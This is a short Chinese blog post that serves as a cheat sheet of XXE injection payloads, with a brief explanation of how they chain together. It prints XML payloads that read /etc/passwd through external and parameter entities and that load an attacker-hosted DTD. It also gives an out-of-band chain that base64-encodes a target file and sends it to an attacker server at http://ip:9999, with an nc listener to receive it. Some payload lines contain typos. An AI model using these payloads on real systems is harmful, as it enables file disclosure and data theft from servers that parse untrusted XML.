cowpokeecowcowpokee

XXE注入

Toretto·2023-02-26 22:30·23 次阅读

XXE注入

XXE 有回显利用方式总结

结合外部实体声明(实体名称 SYSTEM ”uri/url“)和参数实体(% 实体名称 SYSTEM “uri-外部dtd”)有两种方式进行注入攻击

Copy
姿势一 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <root> <name>&xxe;</name> </root> 姿势二 <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo> 姿势三 <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://xxx/evil.dtd"> %xxe;]> <foo>&evil;</foo> 外部evil.dtd的内容 <!ENTITY %evil SYSTEM "file:///ect/passwd">

XXE 无回显利用方式总结

可以使用外带数据通道提取数据,先用file://或php://filter获取目标文件的内容,然后将内容以http请求发送到接收数据的服务器(攻击服务器)

Copy
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> evil.dtd的内容,内部的`%`号要进行实体编码成`%` <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"> <!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>"> 用nc进行本地监听 nc -lvv 9999

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

posted @   cowpokee  阅读(23)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· 一文读懂知识蒸馏
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
点击右上角即可分享
微信分享提示